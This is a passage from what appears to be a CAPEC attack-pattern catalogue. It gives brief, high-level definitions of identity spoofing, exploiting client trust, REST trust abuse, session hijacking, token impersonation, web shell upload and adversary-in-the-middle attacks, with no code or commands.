An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.